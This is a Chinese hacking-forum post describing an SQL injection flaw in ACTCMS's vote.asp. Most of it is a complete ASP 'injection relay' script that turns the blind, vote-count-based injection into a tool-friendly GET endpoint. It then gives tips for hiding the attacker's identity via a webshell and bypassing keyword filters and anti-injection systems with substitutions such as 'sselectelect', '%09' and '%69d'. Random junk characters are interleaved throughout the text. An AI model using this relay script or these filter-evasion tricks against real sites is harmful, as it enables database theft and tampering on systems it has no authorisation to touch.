找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2086|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/ z5 V6 f8 ?0 E; t  e0 }
看到ninty大牛的blog的一篇文章( q4 L. t) M) \3 q* o
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
3 Y3 h1 U* P) ^5 P6 R关于actcms漏洞的利用  by 3x qq:381862589
3 F0 Z' W1 J" U1 K/ v+ T6 I转载请注明以上
5 i" F/ M& ]1 s漏洞文件:
  x4 c" s( t2 A& h$ v/plus/vote/vote.asp( P- ?/ k+ c* R9 \
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    * T5 M2 }" W& t+ e+ e

6 m7 [6 V1 E% ^' O$ Q2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   7 E# }/ j, L9 P  _/ w& ^9 ^
% j) ?' P" x! P
3    response.end    # r+ k! Z5 o6 l( h
5 t! N; w: a( Z& ?! N7 C  e
4    end if   
! Y  D- K, i7 a% k; @# V# H0 U, S* s
5    for i=1 to request("voted").count   
& `$ j( k9 U/ x  U5 m) h7 l2 R- R% z3 G! ^7 P
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    ) [3 _( E' [: r- S1 k$ _  v

. U% K8 L+ X4 X7    next    8 Z1 {9 l! s- Z6 g" _

  ~) Y# N0 O5 }* \8....    3 ~0 @2 Q) c8 x* P5 \9 M+ g
0 k9 |3 v+ c$ `; o  o: @
9response.Redirect "index.asp?id="&id&""   1 ^+ G) q% h8 I4 _( T3 r- P4 j
投票结束回跳转回index.asp这个投票结果页面
: a6 L) G4 r0 z# v$ o+ o如果投票成功票数加1
/ n' H9 M# x" x1 g+ R            失败票数不变8 [% }# _. n) F' S: w5 r+ M
如图:7 o: _$ I+ h6 x5 I# \
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
0 A+ ]$ o5 z% {2 P& q& @: A2 f- A* R. n& y& P8 o
2009-12-27 13:20
  s' Y" m% \; N% A' f5 g- D3 f' T# @, e9 F" q* r' @
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
0 Z5 ^. {+ R2 Y+ `6 g; F1 q& r! Y& K' c
4 P# Q4 x5 l( q本帖隐藏的内容需要回复才可以浏览
6 g9 A; _) ^5 M' l! c我们用注入中转来实现这个注入具体代码如下:, o  m$ o, |% U
先用寂寞的刺猬大牛的注入中转生成jmget.asp1 r: O9 m# S) \1 s! k% B: {
注入地址:http://localhost/actcms/plus/vote/vote.asp- G! r4 w' L7 O0 k9 w3 u2 j* s4 w+ F
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
# D( Q4 h% i, s$ C, `9 C" h" b4 {3 R8 u6 v# Q5 K: }" [+ i! @0 J
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
" [3 Q" S9 Q3 r; c/ ~: S7 f
/ J0 v6 T0 D9 k% R# t9 L  c+ r02JmdcwName=request("jmdcw") : r9 m  s2 U. ]+ q/ {6 X; Z
# |; @8 x3 N- |& d. f: D
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
  Z' A# x1 ^+ E8 j4 S1 F7 _( b7 p  z' V
04JmStr="id=1&voted=-1 or 1="&JmdcwName
5 I* W6 W" R& \6 U. q7 U
  P3 F  O3 t7 m  H; c05JmStr=URLEncoding(JmStr) $ ?6 |/ P# k# Y& y, t2 k0 c# b- p
6 n( K+ ^: o. O# |3 d- x' d4 p/ @  Q
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"# P$ n6 l  X! R+ w4 [
/ ~! ?0 k. H9 K3 P1 Q" C
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
5 R: M" Z! O3 O; l& A: L3 {: S% F0 |
08testurl=testurl & "?" & JmStr
$ _$ F) i; J* o) ~- L. e* j  r7 M% K. I: T
09JMUrl=JMUrl & "?" & JmStr 2 L1 q7 a# I" ]. ~- ], M7 ^
8 ?/ ^3 K% L( L, a
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
. E, u8 F& ^) g0 z1 L/ Q8 O% E3 F4 v7 x4 K4 V
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"! V9 g: m1 D' N/ c" r; w6 ~& h
3 b! y4 U* x2 h! M$ g
12JmCok=replace(JmCok,chr(32),"%20")  
) J  G1 f' ~* |3 M# N. ^; ?# E8 ?* a# H5 M
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 , i( L! c% ]( |- P& S3 R
! A; t1 r9 X; K' N( q
14  ! P0 B" x, d- s) p" t, V. l  G
$ {* [6 `2 \. C; X7 B2 r
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 , r. l- s3 y. ?! P, b

+ e  C3 S/ F" q/ R8 S( O16  
6 a; y5 N' r& P0 d/ O& v" W
- }" Z8 \4 n- K& m17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录   H5 d& s" z. j+ @" }
6 q& m8 `4 p; u% o
18response.write test1&""&test2&""! I2 S0 j, c0 k
2 M0 B* ~( P% \5 g% o
19  ! z& t) E' c7 b# F+ `
3 R+ S( Z) d( Q+ b7 Z' m; X9 A
20if test1=test2 then '如前后记录相等,表示失败 ; T! `4 E, _2 F7 ~/ p5 \
7 @  w9 m# T4 ?% Q; H4 h) Y& o/ O
21  response.write "failed"% ~$ ]0 M; I/ p( M

+ P& g, }# t1 c& ?0 q( }22else 7 ]1 g2 a1 E- @) @
5 f- ?1 v4 g3 k' k8 S; \) G
23  response.write "succeed"
2 `* w2 ?$ l, o" S! X7 B' p% L8 ~
- y% B& g5 P, B' V8 o/ e/ f5 D24end if  
' V) c- v2 g2 V4 q7 g# b) ~/ w6 `
25  
% j- E, S7 ^. y( U" w( F2 H$ i- j6 o( h
26response.write "by 3x"( E7 L( L: d; |4 T' c2 i3 b5 n6 a. _
. p2 u, g* ^/ E- B
27  9 M: s9 X& O; s+ _( P( w: H

- i  S$ }8 t$ B( Q2 F8 z+ t28  
  w  u# o! \8 v
; A& F1 G1 s) w& [7 N' \29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
6 a0 R6 i9 }6 O0 [/ v/ E
+ {* |2 t( q. L5 T3 B; I# _6 v30Dim Http
! l3 \/ q  b- o8 d, o4 A+ X5 W2 t3 h4 @1 p! T$ i1 e3 F, G. _
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 5 _( `  C6 z: W' r: b9 R

4 k2 h' d1 |# c% H, y32With Http 0 b1 C' z! t9 ~1 x/ F' \) D
3 d5 N! e" {; V8 V) W4 O( f" Z
33  6 N$ ^1 U0 @1 M- `9 S) X8 J( J

) B1 J  s* J; w( U4 y34.Open "GET",PostUrl,False
- x+ q6 e' T  C0 l1 s4 y) n( [7 H, {5 j% A
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"' a0 G$ ?( z, y6 x( V
$ h: V- E& _/ A0 w. z
36.SetRequestHeader "Referer",PostRef
" G+ u8 d7 N% t& r" N6 V; x6 |6 N# s" H* o
37.SetRequestHeader "Cookie",PostCok
/ G4 |  F6 ?: Z2 V) Q* D. k$ |/ V: P9 z, V' ~' d2 C7 \
38.Send ()
9 B8 \3 E# a5 m8 t
/ T. w% k: z: a6 z7 L: n39PostData = .ResponseBody
0 }! X+ b5 y# u
8 w$ ~6 w- _6 Y. _40End With
) i% _6 ~$ Y! s4 ]' R3 K
& y. ~: z, }* V* P! M2 W41Set Http = Nothing) t" e$ O0 B5 \. g+ h

  a/ m/ ~! H, T% y" Z42PostData =bytes2BSTR(PostData)
, A9 p7 J2 m. j! @# N1 B4 z9 S* v3 _, D. O  h
43End Function, h0 J6 i) I5 U; D; L

3 n* b4 z+ p7 f% {  s& V44  
# F! Z/ [0 x( Z$ u) Z. O, U& \% A" }$ C$ e
45  9 P7 h; z' p! t; a7 t  _1 [
8 a" U1 m! f0 d" _* m: F
46Function bytes2BSTR(vIn) $ ~, D7 x1 P: w" b+ [+ T( Y" H
* z+ @7 D/ u: V
47Dim strReturn & ]- b; O+ C2 j4 T2 T8 ^  v; w; {

! f' g) A, W' o9 ^3 k48Dim I, ThisCharCode, NextCharCode
" S0 G+ `# k3 @8 m' D3 I" m; u5 F. ~  b5 T
49strReturn = ""
& t3 f. X7 u) J+ F1 E- m  }& B1 _  y5 }' K
50For I = 1 To LenB(vIn)
( j5 R6 }, ^* I  n4 F" |( @9 V
* H" c/ O# |+ `! c8 L# V51ThisCharCode = AscB(MidB(vIn, I, 1)) 7 F% X6 v( P% H  V5 x% z2 C/ z
$ J" X6 c, R3 l8 u; v5 F) E# ]8 @, c
52If ThisCharCode < &H80 Then" y) b9 l/ h1 I* R" F
0 ^4 I7 Y9 V7 ]- M& `# \& J$ l
53strReturn = strReturn & Chr(ThisCharCode)
1 `6 T7 g2 w5 C! F/ \
* t( y$ M/ j/ n, T- m54Else
, g; }# ^- k. Q7 c
( }8 Q2 n& G% F" W" e6 d55NextCharCode = AscB(MidB(vIn, I + 1, 1)) 3 |7 O: C6 @/ {5 s

) e- l( ^/ T! x  X+ h- b2 p56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 8 I& _7 \- d) E

% @9 j3 d# O& A7 w+ L57I = I + 1 + I9 t& ^! r5 y, R. T) i1 K( s4 u

5 [$ N" p" F, k8 j3 y! }  X5 `' _4 [58End If
" k" s' O( _2 n" B9 y9 ?) A: d9 ?7 H! P  E* h
59Next
2 l' n8 M! ^7 |" \8 s9 B# L; c5 ?- X$ a# U! l
60bytes2BSTR = strReturn 1 G& L' {" a, }- T/ m, E' t

9 k+ g8 B, |. [) A3 G5 J% ~61End Function$ L4 L: G) K6 m- x* g4 u

1 H2 m7 A. r! N3 }62  - a; y6 [3 g; \& V$ d

! q7 x/ m' z" S  S3 V5 x3 C; v63Function URLEncoding(vstrin)  
' X0 a* v7 g2 P  @
2 Y) I. T/ s* Z  S& Y# f64strReturn=""4 J1 w1 a6 Z0 i2 E

3 a- ]6 M4 z. X4 d: m/ R% u65Dim i
- B* Z9 [% f1 B+ u+ k6 t( V) V9 Q7 f. ?
66For i=1 To Len(vstrin) 1 a: T9 p! `: M4 h4 x6 U% F

! S( c/ g- G7 _8 t, u67ThisChr=Mid(vstrin,i,1)
0 F# `7 t* W, O( D. U0 }2 I- y, i
7 C  D, N; f1 i0 l: T68if Abs(Asc(ThisChr))< &HFF Then
( Z8 `3 I8 m" `& X* p2 W/ G% m* Q% f  X- U# W7 K
69strReturn=strReturn & ThisChr
: e5 \9 z( y; ^8 X  ^% C+ s6 h, Z" y0 Z3 w0 L( z  R
70Else  t. P& @) m! g9 e, Z
3 W) m0 S; N4 r6 |' y: V
71InnerCode=Asc(ThisChr)   }' }; C7 }( H1 F& o/ g$ z$ S

1 Y. V8 y5 K1 I: a4 `  i/ B72If InnerCode<0 Then
6 d! ~. p* L/ k9 M! @+ i2 J7 h# b. @3 u" ^$ e
73InnerCode=InnerCode + &H10000 " D& y- l: b9 T" r1 l
( |3 O% d. R- }. U& k+ T! x
74End If& ~! n$ y. Y2 z# |; l

  K+ h% X+ s* k75Hight1=(InnerCode And &HFF00) \&HFF
! N5 m6 E3 D' n6 V4 E4 V1 I: O/ Y
9 ?4 O5 ?# ^2 V; s76Low1=InnerCode And &HFF
; w  K- A% `# y+ w0 O- o9 Z
3 o6 Z& r+ R( i# V( r" v* ?3 a77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
. @8 T4 j1 B! a! r8 h+ W3 {' V; r! O4 g: @6 n
78End if
* `0 B+ F5 k, s+ a" R# Q7 @* |: O5 g3 n1 J. M% j
79Next) T0 h, U" e* H( |3 z7 F0 |
( N0 Z$ Z0 l5 f
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 4 D3 J3 i0 s& K3 H5 ]0 f* h
1 x# s3 H: K' m0 ?8 m
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
  z* L* G/ ~' K( w+ O% D) a, g: |
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 % V& F0 j% O8 p* L  m1 m& A9 @# ^& \

" R- C4 N$ L- v' i83URLEncoding=strReturn 0 F: [5 p5 _; m/ k) j; D

) }' h  |+ U/ j  `. F* Y$ F84End Function
; B* v' E( m- e4 I* \! K/ R* I3 C0 P) }4 c2 ?
85  
& C" J# Y' g- n! t) t+ l9 d
2 I, `. m2 T' B. E86function getSt(body)
# R& w" f6 y+ h4 p8 G& y- U7 ~; L: L" b
87  startpot=instr(body,"投票人数:")+len("投票人数:")
2 \7 R  z6 q% R  `9 X3 _/ M; ?- F0 Z$ U
88  endpot=instr(startpot,body," ")
! v; N$ y8 N$ d0 B" U/ p5 v1 A$ r- ^8 O! w5 P4 {6 m8 _
89  getSt=mid(body,startpot,endpot-startpot)
% o5 M* y' ]& [- R7 P  x( W' T% Y! R, E
90end function , N$ J4 ?! l  N6 W$ M

) b6 {2 [4 I7 G. D% ^' |0 c- R91%>! M$ F' o& f2 U% ~, B
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了! o6 H0 Q1 k$ G' o. _% \" t
测试下效果:- v8 U7 ?+ c0 i+ [6 Z" Z; r  N
投票成功:
. G) [# C4 w: b# d3 _8 L6 lhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
2 W; p9 x8 b. a" t3 V" R/ W6 }$ }: t
- d8 ?) ]9 q" G' R( A2009-12-27 13:29
: ^( N2 x: l7 A投票失败
- |" T! _2 W) Z0 A. u5 [, [- Ahttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)4 v) Q2 _3 e2 |) M( u

) m  k9 d' @; ]; M. k% L1 t2009-12-27 13:295 V7 B8 P- y$ t# @
-------------------------------------------------------------------------------
( t) @" @. s& H4 ^再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
$ |  c/ V' Y" c* m- ^3 w很抱歉。。。只能用单线程工具去注入。。。。。3 Q0 E) J* N9 V* p  t- K5 s$ c
所以失败。。。不好意思。。。
1 p+ U; p1 n& N& F/ |6 Z& Y-------------------------------------------------------------------------------. n. S7 r6 V4 R: v
" K4 f4 G; b1 r7 T5 A2 h5 |0 h
注入中转的一些其他应用& U* r; W6 i9 l
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了. K+ N2 j$ n& U  |
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
. E" w7 T1 ]0 b( Z8 @2.post注入转成get型的注入,方便我们使用工具来跑
$ b) ?, ~1 O" h; l# \3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09"), C. J. q) Q' C6 h
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
  @4 E8 q8 t. b
+ c" Z, X' \) U. u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表